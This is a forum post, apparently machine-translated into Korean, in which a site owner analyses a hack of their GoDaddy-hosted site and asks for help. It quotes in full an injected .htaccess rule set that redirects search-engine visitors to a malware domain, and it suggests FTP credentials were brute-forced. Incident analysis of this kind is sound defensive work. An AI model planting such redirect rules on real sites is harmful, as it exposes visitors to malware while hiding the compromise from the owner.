내 사이트가 해킹 당했고이 시점에서 일부 세부 정보를 알고 있지만 정확히 어떻게 발생했는지 또는 향후이를 방지하는 방법을 잃어 가고 있습니다. 공격이 다시 발생하는 것을 막기 위해 공격을 해부하는 데 도움이 필요합니다. 시간이 조금 걸리지 만 문제를 해결하는 데 도움이되는 충분한 정보를 제공하고 싶습니다.
여기에 일어난 일이 있습니다.
몇 주 전에 호스팅 회사 인 GoDaddy로부터 이메일을 받았습니다. 내 사이트에서 너무 많은 리소스를 사용하고 있으며 MySQL 쿼리가 원인이라고 예상했습니다. 문제의 검색어는 5-6 개의 검색어가 포함 된 검색어였습니다. 내가 설정 한 방식에 따라 검색어가 많을수록 검색어가 더 복잡해집니다. 문제 없어요. 문제를 해결했지만 동시에 GoDaddy에서 계정을 일시적으로 종료했으며 모든 것이 정상으로 돌아 오기까지 약 3 일이 걸렸습니다.
이 사건으로 인해 검색 엔진 트래픽이 약 90 % 나 급격히 감소했습니다. 그것은 아무것도 생각하지 않았기 때문에 그것을 쿼리 fiasco에 작성하고 Google이 사이트를 다시 크롤링 할 때 시간 내에 돌아올 것이라고 생각했습니다. 그렇지 않았다.
며칠 전 사용자로부터 내 사이트가 악성 코드를 호스팅하고 있다는 이메일을 받았습니다. 브라우저에 사이트를 직접로드했지만 페이지에 어떤 것도 주입되지 않았습니다. 그런 다음 .htaccess 파일을 확인하고 다음을 발견했습니다.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
귀엽다. 그리고 조금 사악한. 주소 표시 줄이나 책갈피에서 사이트로 직접 이동하면 일반적으로 사이트가 정상적으로로드됩니다. 검색 엔진의 링크를 통해 내 사이트를 방문하는 경우는 거의 없기 때문에 해킹이 감지되지 않는 한 그 이유는 없습니다. 이 악성 코드는 또한 내 사이트에서 직접 호스팅되지 않았습니다.
빠른 검색을 통해 다른 사람들도 같은 문제를 겪고 있음을 알았지 만 아직 감지하지 못한 사람이 더 많이 있다고 생각합니다. 대부분의 권장 사항은 최신 버전의 소프트웨어로 업그레이드하고 암호를 변경하는 것입니다.
유비쿼터스 Wordpress가 아닌 자체 사용자 지정 콘텐츠 관리 시스템을 사용함에 따라 조금 더 깊이 파고 들었습니다. PHP 익스플로잇에 사용되는 일반적인 기능에 대해 모든 파일을 스캔했습니다. base64_decode, exec, shell 등. 의심스러운 항목이 없으며 추가 파일이 없습니다.
다음으로 GoDaddy의 파일 관리자 기록을 확인한 결과 .htaccess 파일이 검색 쿼리에서 너무 많은 서버 리소스를 사용한 것으로 고발 된 시점과 정확히 같은 날짜에 변경되었음을 알 수있었습니다. 불행히도 우연의 일치 일 수 있지만 완전히 확신 할 수는 없습니다. .htaccess 파일의 리디렉션은 리소스를 많이 사용하지 않는 것으로 보이며 쿼리가 리소스를 많이 사용할 수있을 정도로 복잡했습니다.
내 코드에 문제가 없는지 확인하고 싶었으므로 .htaccess 파일이 수정 될 때쯤에 트래픽 로그에서 의심스러운 활동이 있는지 확인했지만 비정상적이거나 해킹 시도.
마지막으로 GoDaddy에서 FTP 로그를 요청했으며 .htaccess 파일이 변경 될 때 무단 FTP 액세스가 있음을 발견했습니다. 컴퓨터를 물리적으로 종료 한 상태에서 휴가 중이 었으며 액세스 자격 증명을 가진 사람은 없습니다. FTP를 사용하는 사람이 계정에 기본 FTP 사용자를 사용한 것처럼 보이지만 IP는 91.220.0.19이며 이는 라트비아 출신 입니다.
공유 호스팅에서는 GoDaddy가 사이트 URL을 기반으로 기본 FTP 사용자 이름을 자동으로 할당하는 것으로 나타납니다. 그것은 매우 예측 가능하거나 적어도 호스팅 계정을 설정할 때였습니다. 몇 년 전에 호스팅 계정에 처음 가입 했으므로 변경되었을 수도 있지만 기억하는 것에서 기본 FTP 사용자 이름을 선택할 수 없었습니다. 현재 사용자 이름도 변경할 수 없으며 계정을 취소하고 사임하지 않는 한 GoDaddy에서 사용자 이름을 변경할 수없는 것처럼 들립니다. 다른 FTP 사용자를 작성, 삭제 및 편집 할 수 있지만 기본 FTP 사용자는 삭제할 수 없습니다. 비밀번호 만 변경할 수 있습니다.
기본 FTP 사용자 이름을 제외하고 사이트, 데이터베이스, 관리자 및 계정에 대한 모든 액세스 자격 증명은 고양이가 키보드를 밟은 것처럼 보이는 횡설수설적인 임의 사용자 이름 및 암호입니다. 예 : lkSADf32! $ asJd3.
링크에서 취약점이되는 경우를 대비하여 컴퓨터에서 바이러스, 맬웨어 등을 철저히 검사했지만 아무것도 나타나지 않았습니다. 안티 바이러스 프로그램 인 방화벽을 사용하고 안전한 브라우징 습관을 사용하려고합니다.
사이트를 업데이트 할 때 Core FTP LE와 SSH / SFTP 연결을 사용합니다. 호스팅 계정은 Linux 설정입니다.
GoDaddy 기술 지원 부서와 대화 할 때 FTP 암호가 어떻게 손상되었는지 확실하지 않습니다. 공유 호스팅에서는 FTP 사용자 수준에서 IP 블록을 배치 할 수 없습니다. 또한 기본 FTP 사용자 이름을 변경할 수 없습니다. FTP 액세스에 대해 무차별 대항 보호 기능이 있는지 물었을 때 기술은 처음에는 불확실하게 들렸지 만 몇 번이나 다시 해석 한 후에 말했다. 그러나 이전 전화에서 동일한 질문을하고 GoDaddy가 FTP 액세스에 대한 무차별 보호 기능을 제공하지 않는다고 들었습니다. 이 시점에서 나는 그들이 있는지 아닌지를 모른다.
보드 전체에서 모든 액세스 자격 증명을 변경하고 .htaccess 파일을 사용하여 라트비아어 IP 주소를 차단했습니다 (FTP를 사용하는 경우 차이가 없을 것입니다). 그러나 여전히 FTP가 어떻게되는지 잘 모르겠습니다. 암호는 처음부터 손상되었습니다.
문제가 내 코드 (FTP 정보가 노출되지 않았음에도 불구하고) 또는 내 컴퓨터에 있지 않은 것이 확실합니다. 내가 의심하지만 증명하는 방법을 모른다는 것은 사용자 이름을 예측할 수 있으므로 FTP 암호가 무차별 적이라는 것입니다. 무차별 대입 공격은 또한 사용중인 서버 리소스 (내 쿼리에서 비난)와 일치했을 수 있지만 서버의 기술적 인 측면에서 이것이 가능한지 또는 가능한지를 알 수는 없습니다.
이제 나는 내가 무엇을해야하는지 알고있는 것 같습니다. 공격이 수행 된 방법과 공격을 방지하는 방법을 이해하고 싶습니다. 따라서 공격 경로, 실행할 수있는 진단 또는 추가 보안 조치에 대한 추가 아이디어가 있다면 매우 감사하겠습니다. 호스트를 변경하거나 공유 호스팅을 버리고 싶지만이 문제가 다시 발생하는 것을 막고 싶습니다.
도와주세요, 오비완 케노비 ...